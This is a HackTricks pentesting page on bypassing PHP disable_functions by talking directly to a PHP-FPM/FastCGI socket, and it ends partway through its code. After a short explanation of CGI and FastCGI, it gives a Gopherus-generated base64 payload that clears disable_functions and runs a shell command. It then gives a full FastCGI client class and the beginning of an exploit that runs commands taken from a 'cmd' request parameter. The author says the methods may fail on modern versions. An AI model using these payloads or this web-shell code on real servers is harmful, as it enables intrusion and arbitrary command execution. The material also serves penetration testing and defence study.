HackTricks
Search…
Pentesting
Powered By GitBook
disable_functions bypass - php-fpm/FastCGI

PHP-FPM

PHP fastCGI Process Manager is an alternative PHP FastCGI implementation with some additional features (mostly) useful for heavy-loaded sites. Internally, PHP-FPM is organized as a “master process” managing pools of individual “worker processes.” When the web server has a request for a PHP script, the web server uses a proxy, FastCGI connection to forward the request to the PHP-FPM service. The PHP-FPM service can listen for these requests on the host server’s network ports or through Unix sockets. Although requests pass via a proxy connection, the PHP-FPM service must run on the same server as the web server. Notably, the proxy connection for PHP-FPM is not the same as a traditional proxy connection. As PHP-FPM receives a proxied connection, a free PHP-FPM worker accepts the web server’s request. PHP-FPM then compiles and executes the PHP script, sending the output back to the web server. Once a PHP-FPM worker finishes handling a request, the system releases the worker and waits for new requests.

But what is CGI and FastCGI?

CGI

Normally web pages, files and all of the documents which are transferred from the web server to the browser are stored in a specific public directory such as home/user/public_html. When the browser requests certain content, the server checks this directory and sends the required file to the browser.
If CGI is installed on the server, the specific cgi-bin directory is also added there, for example home/user/public_html/cgi-bin. CGI scripts are stored in this directory. Each file in the directory is treated as an executable program. When accessing a script from the directory, the server sends request to the application, responsible for this script, instead of sending file's content to the browser. After the input data processing is completed, the application sends the output data to the web server which forwards the data to the HTTP client.
For example, when the CGI script http://mysitename.com/**cgi-bin/file.pl** is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the .pl file code itself. (explanation from here)

FastCGI

FastCGI is a newer web technology, an improved CGI version as the main functionality remains the same.
The need to develop FastCGI is that Web was arisen by applications' rapid development and complexity, as well to address the scalability shortcomings of CGI technology. To meet those requirements Open Market introduced FastCGI – a high performance version of the CGI technology with enhanced capabilities.

disable_functions bypass

It's possible to run PHP code abusing the FastCGI and avoiding the disable_functions limitations.

Via Gopherus

I'm not sure if this is working in modern versions because I tried once and it didn't execute anything. Please, if you have more information about this contact me via **[PEASS & HackTricks telegram group here](https://t.me/peass), or twitter [@carlospolopm](https://twitter.com/carlospolopm).**
Using Gopherus you can generate a payload to send to the FastCGI listener and execute arbitrary commands:
1
<?php
2
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
Copied!
Uploading and accessing this script the exploit is going to be sent to FastCGI (disabling disable_functions) and the specified commands are going to be executed.

PHP exploit

I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that phpinfo() from FastCGI execution indicated that disable_functions was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via **[PEASS & HackTricks telegram group here](https://t.me/peass), or twitter [@carlospolopm](https://twitter.com/carlospolopm).**
1
<?php
2
/**
3
* Note : Code is released under the GNU LGPL
4
*
5
* Please do not change the header of this file
6
*
7
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
8
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
9
* the License, or (at your option) any later version.
10
*
11
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
12
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
13
*
14
* See the GNU Lesser General Public License for more details.
15
*/
16
/**
17
* Handles communication with a FastCGI application
18
*
19
* @author Pierrick Charron <[email protected]>
20
* @version 1.0
21
*/
22
class FCGIClient
23
{
24
const VERSION_1 = 1;
25
const BEGIN_REQUEST = 1;
26
const ABORT_REQUEST = 2;
27
const END_REQUEST = 3;
28
const PARAMS = 4;
29
const STDIN = 5;
30
const STDOUT = 6;
31
const STDERR = 7;
32
const DATA = 8;
33
const GET_VALUES = 9;
34
const GET_VALUES_RESULT = 10;
35
const UNKNOWN_TYPE = 11;
36
const MAXTYPE = self::UNKNOWN_TYPE;
37
const RESPONDER = 1;
38
const AUTHORIZER = 2;
39
const FILTER = 3;
40
const REQUEST_COMPLETE = 0;
41
const CANT_MPX_CONN = 1;
42
const OVERLOADED = 2;
43
const UNKNOWN_ROLE = 3;
44
const MAX_CONNS = 'MAX_CONNS';
45
const MAX_REQS = 'MAX_REQS';
46
const MPXS_CONNS = 'MPXS_CONNS';
47
const HEADER_LEN = 8;
48
/**
49
* Socket
50
* @var Resource
51
*/
52
private $_sock = null;
53
/**
54
* Host
55
* @var String
56
*/
57
private $_host = null;
58
/**
59
* Port
60
* @var Integer
61
*/
62
private $_port = null;
63
/**
64
* Keep Alive
65
* @var Boolean
66
*/
67
private $_keepAlive = false;
68
/**
69
* Constructor
70
*
71
* @param String $host Host of the FastCGI application
72
* @param Integer $port Port of the FastCGI application
73
*/
74
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
75
{
76
$this->_host = $host;
77
$this->_port = $port;
78
}
79
/**
80
* Define whether or not the FastCGI application should keep the connection
81
* alive at the end of a request
82
*
83
* @param Boolean $b true if the connection should stay alive, false otherwise
84
*/
85
public function setKeepAlive($b)
86
{
87
$this->_keepAlive = (boolean)$b;
88
if (!$this->_keepAlive && $this->_sock) {
89
fclose($this->_sock);
90
}
91
}
92
/**
93
* Get the keep alive status
94
*
95
* @return Boolean true if the connection should stay alive, false otherwise
96
*/
97
public function getKeepAlive()
98
{
99
return $this->_keepAlive;
100
}
101
/**
102
* Create a connection to the FastCGI application
103
*/
104
private function connect()
105
{
106
if (!$this->_sock) {
107
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
108
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
109
if (!$this->_sock) {
110
throw new Exception('Unable to connect to FastCGI application');
111
}
112
}
113
}
114
/**
115
* Build a FastCGI packet
116
*
117
* @param Integer $type Type of the packet
118
* @param String $content Content of the packet
119
* @param Integer $requestId RequestId
120
*/
121
private function buildPacket($type, $content, $requestId = 1)
122
{
123
$clen = strlen($content);
124
return chr(self::VERSION_1) /* version */
125
. chr($type) /* type */
126
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
127
. chr($requestId & 0xFF) /* requestIdB0 */
128
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
129
. chr($clen & 0xFF) /* contentLengthB0 */
130
. chr(0) /* paddingLength */
131
. chr(0) /* reserved */
132
. $content; /* content */
133
}
134
/**
135
* Build an FastCGI Name value pair
136
*
137
* @param String $name Name
138
* @param String $value Value
139
* @return String FastCGI Name value pair
140
*/
141
private function buildNvpair($name, $value)
142
{
143
$nlen = strlen($name);
144
$vlen = strlen($value);
145
if ($nlen < 128) {
146
/* nameLengthB0 */
147
$nvpair = chr($nlen);
148
} else {
149
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
150
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
151
}
152
if ($vlen < 128) {
153
/* valueLengthB0 */
154
$nvpair .= chr($vlen);
155
} else {
156
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
157
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
158
}
159
/* nameData & valueData */
160
return $nvpair . $name . $value;
161
}
162
/**
163
* Read a set of FastCGI Name value pairs
164
*
165
* @param String $data Data containing the set of FastCGI NVPair
166
* @return array of NVPair
167
*/
168
private function readNvpair($data, $length = null)
169
{
170
$array = array();
171
if ($length === null) {
172
$length = strlen($data);
173
}
174
$p = 0;
175
while ($p != $length) {
176
$nlen = ord($data{$p++});
177
if ($nlen >= 128) {
178
$nlen = ($nlen & 0x7F << 24);
179
$nlen |= (ord($data{$p++}) << 16);
180
$nlen |= (ord($data{$p++}) << 8);
181
$nlen |= (ord($data{$p++}));
182
}
183
$vlen = ord($data{$p++});
184
if ($vlen >= 128) {
185
$vlen = ($nlen & 0x7F << 24);
186
$vlen |= (ord($data{$p++}) << 16);
187
$vlen |= (ord($data{$p++}) << 8);
188
$vlen |= (ord($data{$p++}));
189
}
190
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
191
$p += ($nlen + $vlen);
192
}
193
return $array;
194
}
195
/**
196
* Decode a FastCGI Packet
197
*
198
* @param String $data String containing all the packet
199
* @return array
200
*/
201
private function decodePacketHeader($data)
202
{
203
$ret = array();
204
$ret['version'] = ord($data{0});
205
$ret['type'] = ord($data{1});
206
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
207
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
208
$ret['paddingLength'] = ord($data{6});
209
$ret['reserved'] = ord($data{7});
210
return $ret;
211
}
212
/**
213
* Read a FastCGI Packet
214
*
215
* @return array
216
*/
217
private function readPacket()
218
{
219
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
220
$resp = $this->decodePacketHeader($packet);
221
$resp['content'] = '';
222
if ($resp['contentLength']) {
223
$len = $resp['contentLength'];
224
while ($len && $buf=fread($this->_sock, $len)) {
225
$len -= strlen($buf);
226
$resp['content'] .= $buf;
227
}
228
}
229
if ($resp['paddingLength']) {
230
$buf=fread($this->_sock, $resp['paddingLength']);
231
}
232
return $resp;
233
} else {
234
return false;
235
}
236
}
237
/**
238
* Get Informations on the FastCGI application
239
*
240
* @param array $requestedInfo information to retrieve
241
* @return array
242
*/
243
public function getValues(array $requestedInfo)
244
{
245
$this->connect();
246
$request = '';
247
foreach ($requestedInfo as $info) {
248
$request .= $this->buildNvpair($info, '');
249
}
250
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
251
$resp = $this->readPacket();
252
if ($resp['type'] == self::GET_VALUES_RESULT) {
253
return $this->readNvpair($resp['content'], $resp['length']);
254
} else {
255
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
256
}
257
}
258
/**
259
* Execute a request to the FastCGI application
260
*
261
* @param array $params Array of parameters
262
* @param String $stdin Content
263
* @return String
264
*/
265
public function request(array $params, $stdin)
266
{
267
$response = '';
268
$this->connect();
269
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
270
$paramsRequest = '';
271
foreach ($params as $key => $value) {
272
$paramsRequest .= $this->buildNvpair($key, $value);
273
}
274
if ($paramsRequest) {
275
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
276
}
277
$request .= $this->buildPacket(self::PARAMS, '');
278
if ($stdin) {
279
$request .= $this->buildPacket(self::STDIN, $stdin);
280
}
281
$request .= $this->buildPacket(self::STDIN, '');
282
fwrite($this->_sock, $request);
283
do {
284
$resp = $this->readPacket();
285
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
286
$response .= $resp['content'];
287
}
288
} while ($resp && $resp['type'] != self::END_REQUEST);
289
var_dump($resp);
290
if (!is_array($resp)) {
291
throw new Exception('Bad request');
292
}
293
switch (ord($resp['content']{4})) {
294
case self::CANT_MPX_CONN:
295
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
296
break;
297
case self::OVERLOADED:
298
throw new Exception('New request rejected; too busy [OVERLOADED]');
299
break;
300
case self::UNKNOWN_ROLE:
301
throw new Exception('Role value not known [UNKNOWN_ROLE]');
302
break;
303
case self::REQUEST_COMPLETE:
304
return $response;
305
}
306
}
307
}
308
?>
309
<?php
310
// real exploit start here
311
if (!isset($_REQUEST['cmd'])) {
312
die("Check your input\n");
313
}
314
if (!isset($_REQUEST['filepath'])) {
315
$filepath = __FILE__;
316
}else{
317
$filepath = $_REQUEST['filepath'];
318
}
319
$req = '/'.basename($filepath);
320
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
321
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);